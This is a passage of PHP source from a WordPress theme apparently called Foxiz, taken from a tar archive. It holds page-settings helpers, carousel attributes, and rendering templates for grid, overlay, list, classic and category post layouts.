/** blog design */ if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = foxiz_get_option( $prefix . 'crop_size' ); } if ( empty( $settings['entry_category'] ) ) { $settings['entry_category'] = foxiz_get_option( $prefix . 'entry_category' ); } if ( empty( $settings['entry_meta_bar'] ) ) { $settings['entry_meta_bar'] = foxiz_get_option( $prefix . 'entry_meta_bar' ); if ( ! empty( $settings['entry_meta_bar'] ) && 'custom' === $settings['entry_meta_bar'] ) { $settings['entry_meta'] = foxiz_get_option( $prefix . 'entry_meta' ); if ( is_array( $settings['entry_meta'] ) ) { $settings['entry_meta'] = implode( ',', $settings['entry_meta'] ); } } } if ( empty( $settings['review'] ) ) { $settings['review'] = foxiz_get_option( $prefix . 'review' ); } if ( empty( $settings['review_meta'] ) ) { $settings['review_meta'] = foxiz_get_option( $prefix . 'review_meta' ); } if ( empty( $settings['entry_format'] ) ) { $settings['entry_format'] = foxiz_get_option( $prefix . 'entry_format' ); } if ( empty( $settings['bookmark'] ) ) { $settings['bookmark'] = foxiz_get_option( $prefix . 'bookmark' ); } if ( empty( $settings['excerpt'] ) ) { $settings['excerpt'] = foxiz_get_option( $prefix . 'excerpt' ); if ( ! empty( $settings['excerpt'] ) ) { $settings['excerpt_length'] = foxiz_get_option( $prefix . 'excerpt_length' ); $settings['excerpt_source'] = foxiz_get_option( $prefix . 'excerpt_source' ); } } if ( empty( $settings['readmore'] ) ) { $settings['readmore'] = foxiz_get_option( $prefix . 'readmore' ); } if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = foxiz_get_option( $prefix . 'title_tag' ); } if ( empty( $settings['hide_category'] ) ) { $settings['hide_category'] = foxiz_get_option( $prefix . 'hide_category' ); } if ( empty( $settings['tablet_hide_meta'] ) ) { $settings['tablet_hide_meta'] = foxiz_get_option( $prefix . 'tablet_hide_meta' ); } if ( empty( $settings['mobile_hide_meta'] ) ) { $settings['mobile_hide_meta'] = foxiz_get_option( $prefix . 'mobile_hide_meta' ); } if ( empty( $settings['hide_excerpt'] ) ) { $settings['hide_excerpt'] = foxiz_get_option( $prefix . 'hide_excerpt' ); } return $settings; } } if ( ! function_exists( 'foxiz_get_archive_page_settings' ) ) { /** * @param string $prefix * @param array $settings * * @return array|mixed */ function foxiz_get_archive_page_settings( $prefix = '', $settings = array() ) { if ( empty( $prefix ) ) { $prefix = 'archive_'; } if ( empty( $settings['uuid'] ) ) { $settings['uuid'] = 'uid_' . $prefix . get_queried_object_id(); } $settings['blog_heading'] = foxiz_get_option( $prefix . 'blog_heading' ); $settings['blog_heading_layout'] = foxiz_get_option( $prefix . 'blog_heading_layout' ); $settings['blog_heading_tag'] = foxiz_get_option( $prefix . 'blog_heading_tag' ); $settings['pattern'] = foxiz_get_option( $prefix . 'pattern' ); $settings['template'] = foxiz_get_option( $prefix . 'template' ); $settings['template_bottom'] = foxiz_get_option( $prefix . 'template_bottom' ); $settings['template_display'] = foxiz_get_option( $prefix . 'template_display' ); $settings['template_global'] = foxiz_get_option( $prefix . 'template_global' ); $settings['breadcrumb'] = foxiz_get_option( $prefix . 'breadcrumb' ); $settings['posts_per_page'] = foxiz_get_option( $prefix . 'posts_per_page' ); if ( empty( $settings['posts_per_page'] ) ) { $settings['posts_per_page'] = get_option( 'posts_per_page' ); } $settings['pagination'] = foxiz_get_option( $prefix . 'pagination' ); if ( empty( $settings['pagination'] ) ) { $settings['pagination'] = 'number'; } $settings['layout'] = foxiz_get_option( $prefix . 'layout' ); $settings['columns'] = foxiz_get_option( $prefix . 'columns' ); $settings['columns_tablet'] = foxiz_get_option( $prefix . 'columns_tablet' ); $settings['columns_mobile'] = foxiz_get_option( $prefix . 'columns_mobile' ); $settings['column_gap'] = foxiz_get_option( $prefix . 'column_gap' ); $settings['sidebar_position'] = foxiz_get_option( $prefix . 'sidebar_position' ); $settings['sidebar_name'] = foxiz_get_option( $prefix . 'sidebar_name' ); $settings['sticky_sidebar'] = foxiz_get_option( $prefix . 'sticky_sidebar' ); if ( empty( $settings['sticky_sidebar'] ) ) { $settings['sticky_sidebar'] = foxiz_get_option( 'sticky_sidebar' ); } if ( '-1' === (string) $settings['sticky_sidebar'] ) { $settings['sticky_sidebar'] = false; } $settings['crop_size'] = foxiz_get_option( $prefix . 'crop_size' ); $settings['entry_category'] = foxiz_get_option( $prefix . 'entry_category' ); $settings['entry_meta_bar'] = foxiz_get_option( $prefix . 'entry_meta_bar' ); if ( ! empty( $settings['entry_meta_bar'] ) && 'custom' === $settings['entry_meta_bar'] ) { $settings['entry_meta'] = foxiz_get_option( $prefix . 'entry_meta' ); if ( is_array( $settings['entry_meta'] ) ) { $settings['entry_meta'] = implode( ',', $settings['entry_meta'] ); } } $settings['review'] = foxiz_get_option( $prefix . 'review' ); $settings['review_meta'] = foxiz_get_option( $prefix . 'review_meta' ); $settings['entry_format'] = foxiz_get_option( $prefix . 'entry_format' ); $settings['bookmark'] = foxiz_get_option( $prefix . 'bookmark' ); $settings['excerpt'] = foxiz_get_option( $prefix . 'excerpt' ); if ( ! empty( $settings['excerpt'] ) ) { $settings['excerpt_length'] = foxiz_get_option( $prefix . 'excerpt_length' ); $settings['excerpt_source'] = foxiz_get_option( $prefix . 'excerpt_source' ); } $settings['readmore'] = foxiz_get_option( $prefix . 'readmore' ); $settings['title_tag'] = foxiz_get_option( $prefix . 'title_tag' ); $settings['hide_category'] = foxiz_get_option( $prefix . 'hide_category' ); $settings['tablet_hide_meta'] = foxiz_get_option( $prefix . 'tablet_hide_meta' ); $settings['mobile_hide_meta'] = foxiz_get_option( $prefix . 'mobile_hide_meta' ); $settings['hide_excerpt'] = foxiz_get_option( $prefix . 'hide_excerpt' ); return $settings; } } if ( ! function_exists( 'foxiz_get_search_page_settings' ) ) { /** * @return array */ function foxiz_get_search_page_settings() { $settings = foxiz_get_archive_page_settings( 'search_' ); $settings['s'] = get_search_query( 's' ); $settings['posts_per_page'] = foxiz_get_option( 'search_posts_per_page' ); $settings['template_global'] = foxiz_get_option( 'search_template_global' ); if ( empty( $settings['posts_per_page'] ) ) { $settings['posts_per_page'] = get_option( 'posts_per_page' ); } return $settings; } } if ( ! function_exists( 'foxiz_get_page_header_style' ) ) { /** * @param string $page_id * * @return false|mixed|string|void */ function foxiz_get_page_header_style( $page_id = '' ) { if ( empty( $page_id ) ) { $page_id = get_the_ID(); } $setting = rb_get_meta( 'page_header_style', $page_id ); if ( empty( $setting ) || 'default' === $setting ) { $setting = foxiz_get_option( 'page_page_header_style' ); } if ( empty( $setting ) ) { $setting = '1'; } return $setting; } } if ( ! function_exists( 'foxiz_get_page_content_width' ) ) { /** * @param string $page_id * * @return false|mixed|void */ function foxiz_get_page_content_width( $page_id = '' ) { if ( empty( $page_id ) ) { $page_id = get_the_ID(); } $setting = rb_get_meta( 'width_wo_sb', $page_id ); if ( empty( $setting ) || 'default' === $setting ) { $setting = foxiz_get_option( 'page_width_wo_sb' ); } elseif ( '-1' === (string) $setting ) { return false; } return $setting; } } /** * @param array $settings */ if ( ! function_exists( 'foxiz_carousel_footer' ) ) { function foxiz_carousel_footer( $settings = array() ) { if ( ! empty( $settings['carousel_dot'] ) || ! empty( $settings['carousel_nav'] ) ) : $classes = 'slider-footer'; if ( ! empty( $settings['color_scheme'] ) ) { $classes .= ' light-scheme'; } ?> <div class="<?php echo esc_attr( $classes ); ?>"> <?php if ( ! empty( $settings['carousel_nav'] ) ) : ?> <div class="slider-prev rbi rbi-cleft"></div> <?php endif; if ( ! empty( $settings['carousel_dot'] ) ) : ?> <div class="slider-pagination"></div> <?php endif; if ( ! empty( $settings['carousel_nav'] ) ) : ?> <div class="slider-next rbi rbi-cright"></div> <?php endif; ?> </div> <?php endif; } } /** * @param array $settings */ if ( ! function_exists( 'foxiz_carousel_attrs' ) ) { function foxiz_carousel_attrs( $settings = array() ) { $settings = wp_parse_args( $settings, array( 'columns' => '3', 'columns_tablet' => '2', 'columns_mobile' => '1', 'carousel_gap' => '', 'carousel_gap_tablet' => '', 'carousel_gap_mobile' => '', 'slider_play' => '', 'slider_fmode' => '', 'slider_centered' => '', ) ); if ( (string) $settings['carousel_gap'] === '-1' ) { $settings['carousel_gap'] = 0; } if ( (string) $settings['carousel_gap_tablet'] === '-1' ) { $settings['carousel_gap_tablet'] = 0; } if ( (string) $settings['carousel_gap_mobile'] === '-1' ) { $settings['carousel_gap_mobile'] = 0; } if ( ! empty( $settings['carousel_columns'] ) ) { $settings['columns'] = $settings['carousel_columns']; } if ( ! empty( $settings['carousel_columns_tablet'] ) ) { $settings['columns_tablet'] = $settings['carousel_columns_tablet']; } if ( ! empty( $settings['carousel_columns_mobile'] ) ) { $settings['columns_mobile'] = $settings['carousel_columns_mobile']; } if ( empty( $settings['carousel_wide_columns'] ) ) { $settings['carousel_wide_columns'] = $settings['columns']; } if ( empty( $settings['slider_speed'] ) ) { $settings['slider_speed'] = 5000; } if ( empty( $settings['slider_centered'] ) || '-1' === (string) $settings['slider_centered'] ) { $settings['slider_centered'] = 0; } else { $settings['slider_centered'] = 1; } echo ' data-wcol="' . esc_attr( $settings['carousel_wide_columns'] ) . '"'; echo ' data-col="' . esc_attr( $settings['columns'] ) . '" data-tcol="' . esc_attr( $settings['columns_tablet'] ) . '" data-mcol="' . esc_attr( $settings['columns_mobile'] ) . '"'; echo ' data-gap="' . esc_attr( $settings['carousel_gap'] ) . '" data-tgap="' . esc_attr( $settings['carousel_gap_tablet'] ) . '" data-mgap="' . esc_attr( $settings['carousel_gap_mobile'] ) . '"'; echo ' data-play="' . esc_attr( $settings['slider_play'] ) . '" data-speed="' . esc_attr( $settings['slider_speed'] ) . '" data-fmode="' . esc_attr( $settings['slider_fmode'] ) . '" data-centered="' . esc_attr( $settings['slider_centered'] ) . '" '; } } /** * @param array $settings */ if ( ! function_exists( 'foxiz_slider_attrs' ) ) { function foxiz_slider_attrs( $settings = array() ) { $settings = wp_parse_args( $settings, array( 'slider_play' => '0' ) ); if ( empty( $settings['slider_speed'] ) ) { $settings['slider_speed'] = 5000; } echo ' data-play="' . esc_attr( $settings['slider_play'] ) . '" data-speed="' . esc_attr( $settings['slider_speed'] ) . '"'; } } modules/grid.php 0000644 00000013435 14720702672 0007667 0 ustar 00 <?php /** Don't load directly */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! function_exists( 'foxiz_grid_1' ) ) { /** * @param $settings */ function foxiz_grid_1( $settings = array() ) { $settings['post_classes'] = 'p-grid p-grid-1'; if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h3'; } if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = 'foxiz_crop_g2'; } $settings['top_spacing'] = true; ?> <div class="<?php foxiz_post_classes( $settings ); ?>"> <?php if ( foxiz_is_featured_image( $settings['crop_size'] ) ) : ?> <div class="feat-holder"> <?php foxiz_entry_featured( $settings ); foxiz_entry_top( $settings ); ?> </div> <?php endif; ?> <div class="p-content"> <?php foxiz_entry_counter( $settings ); foxiz_entry_title( $settings ); foxiz_entry_review( $settings ); foxiz_entry_excerpt( $settings ); foxiz_entry_meta( $settings ); foxiz_entry_readmore( $settings ); foxiz_entry_bookmark_action( $settings ); ?> </div> </div> <?php } } if ( ! function_exists( 'foxiz_grid_2' ) ) { /** * @param $settings */ function foxiz_grid_2( $settings = array() ) { $settings['post_classes'] = 'p-grid p-grid-2'; if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h3'; } if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = 'foxiz_crop_g2'; } ?> <div class="<?php foxiz_post_classes( $settings ); ?>"> <?php if ( foxiz_is_featured_image( $settings['crop_size'] ) ) : ?> <div class="feat-holder"> <?php foxiz_entry_featured( $settings ); ?> </div> <?php endif; ?> <div class="p-content"> <?php foxiz_entry_counter( $settings ); foxiz_entry_top( $settings ); foxiz_entry_title( $settings ); foxiz_entry_review( $settings ); foxiz_entry_excerpt( $settings ); foxiz_entry_meta( $settings ); foxiz_entry_readmore( $settings ); foxiz_entry_bookmark_action( $settings ); ?> </div> </div> <?php } } if ( ! function_exists( 'foxiz_grid_small_1' ) ) { /** * @param $settings */ function foxiz_grid_small_1( $settings = array() ) { $settings['post_classes'] = 'p-grid p-grid-small-1'; if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h4'; } if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = 'foxiz_crop_g1'; } if ( ! empty( $settings['featured_position'] ) ) { $settings['post_classes'] .= ' m-featured-' . esc_attr( $settings['featured_position'] ); } $settings['top_spacing'] = true; ?> <div class="<?php foxiz_post_classes( $settings ); ?>"> <?php if ( foxiz_is_featured_image( $settings['crop_size'] ) ) : ?> <div class="feat-holder"> <?php foxiz_entry_featured( $settings ); foxiz_entry_top( $settings ); ?> </div> <?php endif; if ( ! empty( $settings['counter'] ) ) : ?> <div class="counter-holder"> <div class="counter-el"></div> <?php endif; ?> <div class="p-content"> <?php foxiz_entry_title( $settings ); foxiz_entry_review( $settings ); foxiz_entry_excerpt( $settings ); foxiz_entry_meta( $settings ); foxiz_entry_readmore( $settings ); foxiz_entry_bookmark_action( $settings ); ?> </div> <?php if ( ! empty( $settings['counter'] ) ) : ?> </div> <?php endif; ?> </div> <?php } } if ( ! function_exists( 'foxiz_grid_box_1' ) ) { /** * @param $settings */ function foxiz_grid_box_1( $settings = array() ) { if ( empty( $settings['box_style'] ) ) { $settings['box_style'] = 'bg'; } $settings['post_classes'] = 'p-grid p-box p-grid-box-1 box-' . $settings['box_style']; if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h3'; } if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = 'foxiz_crop_g2'; } $settings['top_spacing'] = true; ?> <div class="<?php foxiz_post_classes( $settings ); ?>"> <div class="grid-box"> <?php if ( foxiz_is_featured_image( $settings['crop_size'] ) ) : ?> <div class="feat-holder"> <?php foxiz_entry_featured( $settings ); foxiz_entry_top( $settings ); ?> </div> <?php endif; ?> <div class="p-content"> <?php foxiz_entry_counter( $settings ); foxiz_entry_title( $settings ); foxiz_entry_review( $settings ); foxiz_entry_excerpt( $settings ); foxiz_entry_meta( $settings ); foxiz_entry_readmore( $settings ); foxiz_entry_bookmark_action( $settings ); ?> </div> </div> </div> <?php } } if ( ! function_exists( 'foxiz_grid_box_2' ) ) { /** * @param $settings */ function foxiz_grid_box_2( $settings = array() ) { $settings['post_classes'] = 'p-grid p-box p-grid-box-2 box-' . $settings['box_style']; if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h3'; } if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = 'foxiz_crop_g2'; } ?> <div class="<?php foxiz_post_classes( $settings ); ?>"> <div class="grid-box"> <?php if ( foxiz_is_featured_image( $settings['crop_size'] ) ) : ?> <div class="feat-holder"> <?php foxiz_entry_featured( $settings ); ?> </div> <?php endif; ?> <div class="p-content"> <?php foxiz_entry_counter( $settings ); foxiz_entry_top( $settings ); foxiz_entry_title( $settings ); foxiz_entry_review( $settings ); foxiz_entry_excerpt( $settings ); foxiz_entry_meta( $settings ); foxiz_entry_readmore( $settings ); foxiz_entry_bookmark_action( $settings ); ?> </div> </div> </div> <?php } } modules/overlay.php 0000644 00000004347 14720702672 0010425 0 ustar 00 <?php if ( ! function_exists( 'foxiz_overlay_1' ) ) { /** * @param array $settings * */ function foxiz_overlay_1( $settings = array() ) { if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h2'; } if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = 'foxiz_crop_g2'; } $settings['post_classes'] = 'p-highlight p-overlay-1'; ?> <div class="<?php foxiz_post_classes( $settings ); ?>"> <div class="overlay-holder"> <?php foxiz_entry_featured( $settings ); ?> <div class="overlay-wrap overlay-text"> <div class="p-content overlay-inner p-gradient"> <?php foxiz_entry_counter( $settings ); foxiz_entry_top( $settings ); foxiz_entry_title( $settings ); foxiz_entry_review( $settings ); foxiz_entry_excerpt( $settings ); foxiz_entry_meta( $settings ); foxiz_entry_readmore( $settings ); ?> </div> </div> </div> </div> <?php } } if ( ! function_exists( 'foxiz_overlay_2' ) ) { /** * @param array $settings * */ function foxiz_overlay_2( $settings = array() ) { if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h3'; } if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = 'foxiz_crop_g1'; } $settings['post_classes'] = 'p-overlay p-overlay-2'; ?> <div class="<?php foxiz_post_classes( $settings ); ?>"> <div class="overlay-holder"> <?php foxiz_entry_featured( $settings ); ?> <div class="overlay-wrap overlay-text"> <div class="p-content overlay-inner p-gradient"> <?php foxiz_entry_counter( $settings ); foxiz_entry_top( $settings ); foxiz_entry_title( $settings ); foxiz_entry_review( $settings ); foxiz_entry_excerpt( $settings ); foxiz_entry_meta( $settings ); foxiz_entry_readmore( $settings ); ?> </div> </div> </div> </div> <?php } } modules/list.php 0000644 00000022276 14720702672 0007720 0 ustar 00 <?php /** Don't load directly */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! function_exists( 'foxiz_list_1' ) ) { /** * @param $settings */ function foxiz_list_1( $settings = array() ) { if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h3'; } if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = 'foxiz_crop_g1'; } $settings['post_classes'] = 'p-list p-list-1'; if ( ! empty( $settings['featured_position'] ) ) { $settings['post_classes'] .= ' featured-' . esc_attr( $settings['featured_position'] ); } ?><div class="<?php foxiz_post_classes( $settings ); ?>"> <div class="list-holder"> <div class="list-feat-holder"> <div class="feat-holder"> <?php foxiz_entry_featured( $settings ); foxiz_entry_top( $settings ); ?> </div> </div> <div class="p-content"> <?php foxiz_entry_title( $settings ); foxiz_entry_review( $settings ); foxiz_entry_excerpt( $settings ); foxiz_entry_meta( $settings ); foxiz_entry_readmore( $settings ); foxiz_entry_bookmark_action( $settings ); ?> </div> </div> </div> <?php } } if ( ! function_exists( 'foxiz_list_2' ) ) { /** * @param array $settings */ function foxiz_list_2( $settings = array() ) { if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h3'; } if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = 'foxiz_crop_g1'; } $settings['post_classes'] = 'p-big p-list p-list-2'; if ( ! empty( $settings['featured_position'] ) ) { $settings['post_classes'] .= ' featured-' . esc_attr( $settings['featured_position'] ); } ?> <div class="<?php foxiz_post_classes( $settings ); ?>"> <div class="list-holder"> <div class="list-feat-holder"> <div class="feat-holder"> <?php foxiz_entry_featured( $settings ); ?> </div> </div> <div class="p-content"> <?php foxiz_entry_top( $settings ); foxiz_entry_title( $settings ); foxiz_entry_review( $settings ); foxiz_entry_excerpt( $settings ); foxiz_entry_meta( $settings ); foxiz_entry_readmore( $settings ); foxiz_entry_bookmark_action( $settings ); ?> </div> </div> </div> <?php } } if ( ! function_exists( 'foxiz_list_small_1' ) ) { /** * @param array $settings */ function foxiz_list_small_1( $settings = array() ) { if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h5'; } if ( empty( $settings['bottom_border'] ) ) { $settings['bottom_border'] = 'gray'; } $settings['post_classes'] = 'p-small p-list-small-1'; ?> <div class="<?php foxiz_post_classes( $settings ); ?>"> <div class="p-content"> <?php foxiz_entry_counter( $settings ); foxiz_entry_top( $settings ); foxiz_entry_title( $settings ); foxiz_entry_review( $settings ); foxiz_entry_excerpt( $settings ); foxiz_entry_meta( $settings ); foxiz_entry_readmore( $settings ); foxiz_entry_bookmark_action( $settings ); ?> </div> </div> <?php } } if ( ! function_exists( 'foxiz_list_small_2' ) ) { /** * @param array $settings */ function foxiz_list_small_2( $settings = array() ) { if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h5'; } if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = 'thumbnail'; } if ( empty( $settings['featured_classes'] ) ) { $settings['featured_classes'] = 'ratio-v1'; } $settings['post_classes'] = 'p-small p-list-small-2'; if ( ! empty( $settings['featured_position'] ) && 'right' === $settings['featured_position'] ) { $settings['post_classes'] .= ' right-featured'; } ?> <div class="<?php foxiz_post_classes( $settings ); ?>"> <div class="feat-holder"> <?php foxiz_entry_featured( $settings ); ?> </div> <div class="p-content"> <?php foxiz_entry_counter( $settings ); foxiz_entry_top( $settings ); foxiz_entry_title( $settings ); foxiz_entry_review( $settings ); foxiz_entry_excerpt( $settings ); foxiz_entry_meta( $settings ); foxiz_entry_readmore( $settings ); foxiz_entry_bookmark_action( $settings ); ?> </div> </div> <?php } } if ( ! function_exists( 'foxiz_list_small_3' ) ) { /** * @param array $settings */ function foxiz_list_small_3( $settings = array() ) { if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h5'; } if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = 'thumbnail'; } if ( empty( $settings['featured_classes'] ) ) { $settings['featured_classes'] = 'ratio-q'; } $settings['post_classes'] = 'p-small p-list-small-3 p-list-small-2'; if ( ! empty( $settings['featured_position'] ) && 'right' === $settings['featured_position'] ) { $settings['post_classes'] .= ' right-featured'; } ?> <div class="<?php foxiz_post_classes( $settings ); ?>"> <div class="feat-holder"> <?php foxiz_entry_featured( $settings ); ?> </div> <div class="p-content"> <?php foxiz_entry_counter( $settings ); foxiz_entry_top( $settings ); foxiz_entry_title( $settings ); foxiz_entry_review( $settings ); foxiz_entry_excerpt( $settings ); foxiz_entry_meta( $settings ); foxiz_entry_readmore( $settings ); foxiz_entry_bookmark_action( $settings ); ?> </div> </div> <?php } } if ( ! function_exists( 'foxiz_list_inline' ) ) { /** * @param array $settings * render list style inline */ function foxiz_list_inline( $settings = array() ) { $settings['post_classes'] = 'p-wrap p-list-inline'; $settings['title_prefix'] = '<i class="rbi rbi-plus"></i>'; if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h6'; } ?> <div class="<?php foxiz_post_classes( $settings ); ?>"><?php foxiz_entry_title( $settings ); ?></div> <?php } } if ( ! function_exists( 'foxiz_list_box_1' ) ) { /** * @param $settings */ function foxiz_list_box_1( $settings = array() ) { if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h3'; } if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = 'foxiz_crop_g1'; } if ( empty( $settings['box_style'] ) ) { $settings['box_style'] = 'bg'; } $settings['post_classes'] = 'p-list p-list-1 p-list-box-1 box-' . $settings['box_style']; if ( ! empty( $settings['featured_position'] ) ) { $settings['post_classes'] .= ' featured-' . esc_attr( $settings['featured_position'] ); } ?> <div class="<?php foxiz_post_classes( $settings ); ?>"> <div class="list-box"> <div class="list-holder"> <div class="list-feat-holder"> <div class="feat-holder"> <?php foxiz_entry_featured( $settings ); foxiz_entry_top( $settings ); ?> </div> </div> <div class="p-content"> <?php foxiz_entry_title( $settings ); foxiz_entry_review( $settings ); foxiz_entry_excerpt( $settings ); foxiz_entry_meta( $settings ); foxiz_entry_readmore( $settings ); foxiz_entry_bookmark_action( $settings ); ?> </div> </div> </div> </div> <?php } } if ( ! function_exists( 'foxiz_list_box_2' ) ) { /** * @param array $settings */ function foxiz_list_box_2( $settings = array() ) { if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h3'; } if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = 'foxiz_crop_g1'; } if ( empty( $settings['box_style'] ) ) { $settings['box_style'] = 'bg'; } $settings['post_classes'] = 'p-big p-list p-list-2 p-list-box-2 box-' . $settings['box_style']; if ( ! empty( $settings['featured_position'] ) ) { $settings['post_classes'] .= ' featured-' . esc_attr( $settings['featured_position'] ); } ?> <div class="<?php foxiz_post_classes( $settings ); ?>"> <div class="list-box"> <div class="list-holder"> <div class="list-feat-holder"> <div class="feat-holder"> <?php foxiz_entry_featured( $settings ); ?> </div> </div> <div class="p-content"> <?php foxiz_entry_top( $settings ); foxiz_entry_title( $settings ); foxiz_entry_review( $settings ); foxiz_entry_excerpt( $settings ); foxiz_entry_meta( $settings ); foxiz_entry_readmore( $settings ); foxiz_entry_bookmark_action( $settings ); ?> </div> </div> </div> </div> <?php } } modules/classic.php 0000644 00000002201 14720702672 0010350 0 ustar 00 <?php /** Don't load directly */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! function_exists( 'foxiz_classic_1' ) ) { /** * @param $settings */ function foxiz_classic_1( $settings = array() ) { $settings['post_classes'] = 'p-big p-classic p-classic-1'; $settings['title_classes'] = 'h1'; if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h2'; } if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = 'foxiz_crop_o1'; } $settings['top_spacing'] = true; ?> <div class="<?php foxiz_post_classes( $settings ); ?>"> <?php if ( foxiz_is_featured_image( $settings['crop_size'] ) ) : ?> <div class="feat-holder"> <?php foxiz_entry_featured( $settings ); foxiz_entry_top( $settings ); ?> </div> <?php endif; ?> <div class="p-content"> <?php foxiz_entry_title( $settings ); foxiz_entry_review( $settings ); foxiz_entry_excerpt( $settings ); foxiz_entry_meta( $settings ); foxiz_entry_readmore( $settings ); foxiz_entry_bookmark_action( $settings ); ?> </div> </div> <?php } } modules/category.php 0000644 00000032174 14720702672 0010560 0 ustar 00 <?php /** Don't load directly */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! function_exists( 'foxiz_category_item_follow' ) ) { /** * @param array $settings * * @return false */ function foxiz_category_item_follow( $settings = array() ) { if ( empty( $settings['url'] ) ) { return false; } ?> <div class="cbox cbox-follow"> <div class="cbox-inner"> <a href="<?php echo esc_url( $settings['url'] ); ?>" class="follow-redirect"> <i class="rbi rbi-plus"></i><span class="meta-text"><?php esc_html_e( 'Add More', 'foxiz' ); ?></span> </a> </div> </div> <?php } } if ( ! function_exists( 'foxiz_category_item_1' ) ) { /** * @param array $settings * * @return false */ function foxiz_category_item_1( $settings = array() ) { if ( ! empty( $settings['cid'] ) ) { $category = get_category( $settings['cid'] ); } elseif ( ! empty( $settings['slug'] ) ) { $category = get_category_by_slug( $settings['slug'] ); } if ( empty( $category ) ) { return false; } if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h4'; } if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = 'foxiz_crop_g1'; } $link = get_category_link( $category ); $id = $category->term_id; $meta = get_option( 'foxiz_category_meta', array() ); $featured_array = array(); $featured_urls_array = array(); if ( ! empty( $meta[ $id ]['featured_image'] ) ) { $featured_array = $meta[ $id ]['featured_image']; } if ( ! empty( $meta[ $id ]['featured_image_urls'] ) ) { $featured_urls_array = $meta[ $id ]['featured_image_urls']; } ?> <div class="<?php echo 'cbox cbox-1 is-cbox-' . $category->term_id; ?>"> <div class="cbox-inner"> <a class="cbox-featured" href="<?php echo esc_url( $link ); ?>"><?php foxiz_render_category_featured( $featured_array, $featured_urls_array, $settings['crop_size'] ); ?></a> <div class="cbox-body"> <div class="cbox-content"> <?php echo '<' . esc_attr( $settings['title_tag'] ) . ' class="cbox-title">'; echo '<a class="p-url" href="' . esc_url( $link ) . '" rel="category">' . esc_html( $category->name ) . '</a>'; echo '</' . esc_attr( $settings['title_tag'] ) . '>'; if ( ! empty( $settings['count_posts'] ) && '1' === (string) $settings['count_posts'] ) : $count = $category->category_count . ' ' . foxiz_html__( 'Articles', 'foxiz' ); if ( '1' === (string) $category->category_count ) { $count = $settings['count_posts'] . ' ' . foxiz_html__( 'Article', 'foxiz' ); } ?> <span class="cbox-count is-meta"><?php echo esc_html( $count ) ?></span> <?php endif; ?> </div> <?php if ( ! empty( $settings['follow'] ) && '1' === (string) $settings['follow'] ) { foxiz_follow_trigger( array( 'id' => $id ) ); } ?> </div> </div> </div> <?php } } if ( ! function_exists( 'foxiz_category_item_2' ) ) { /** * @param array $settings * * @return false */ function foxiz_category_item_2( $settings = array() ) { if ( ! empty( $settings['cid'] ) ) { $category = get_category( $settings['cid'] ); } elseif ( ! empty( $settings['slug'] ) ) { $category = get_category_by_slug( $settings['slug'] ); } if ( empty( $category ) ) { return false; } if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h3'; } if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = 'foxiz_crop_g1'; } $link = get_category_link( $category ); $id = $category->term_id; $meta = get_option( 'foxiz_category_meta', array() ); $featured_array = array(); $featured_urls_array = array(); if ( ! empty( $meta[ $id ]['featured_image'] ) ) { $featured_array = $meta[ $id ]['featured_image']; } if ( ! empty( $meta[ $id ]['featured_image_urls'] ) ) { $featured_urls_array = $meta[ $id ]['featured_image_urls']; } ?> <div class="<?php echo 'cbox cbox-2 is-cbox-' . $category->term_id; ?>"> <div class="cbox-inner"> <a class="cbox-featured-overlay" href="<?php echo esc_url( $link ); ?>"><?php foxiz_render_category_featured( $featured_array, $featured_urls_array, $settings['crop_size'] ); ?></a> <div class="cbox-overlay overlay-wrap light-scheme"> <div class="cbox-body"> <div class="cbox-content"> <?php echo '<' . esc_attr( $settings['title_tag'] ) . ' class="cbox-title">'; echo '<a class="p-url" href="' . esc_url( $link ) . '" rel="category">' . esc_html( $category->name ) . '</a>'; echo '</' . esc_attr( $settings['title_tag'] ) . '>'; if ( ! empty( $settings['count_posts'] ) && '1' === (string) $settings['count_posts'] ) : $count = $category->category_count . ' ' . foxiz_html__( 'Articles', 'foxiz' ); if ( '1' === (string) $category->category_count ) { $count = $settings['count_posts'] . ' ' . foxiz_html__( 'Article', 'foxiz' ); } ?> <span class="cbox-count is-meta"><?php echo esc_html( $count ) ?></span> <?php endif; ?> </div> <?php if ( ! empty( $settings['follow'] ) && '1' === (string) $settings['follow'] ) { foxiz_follow_trigger( array( 'id' => $id, 'classes' => 'is-light' ) ); } ?> </div> </div> </div> 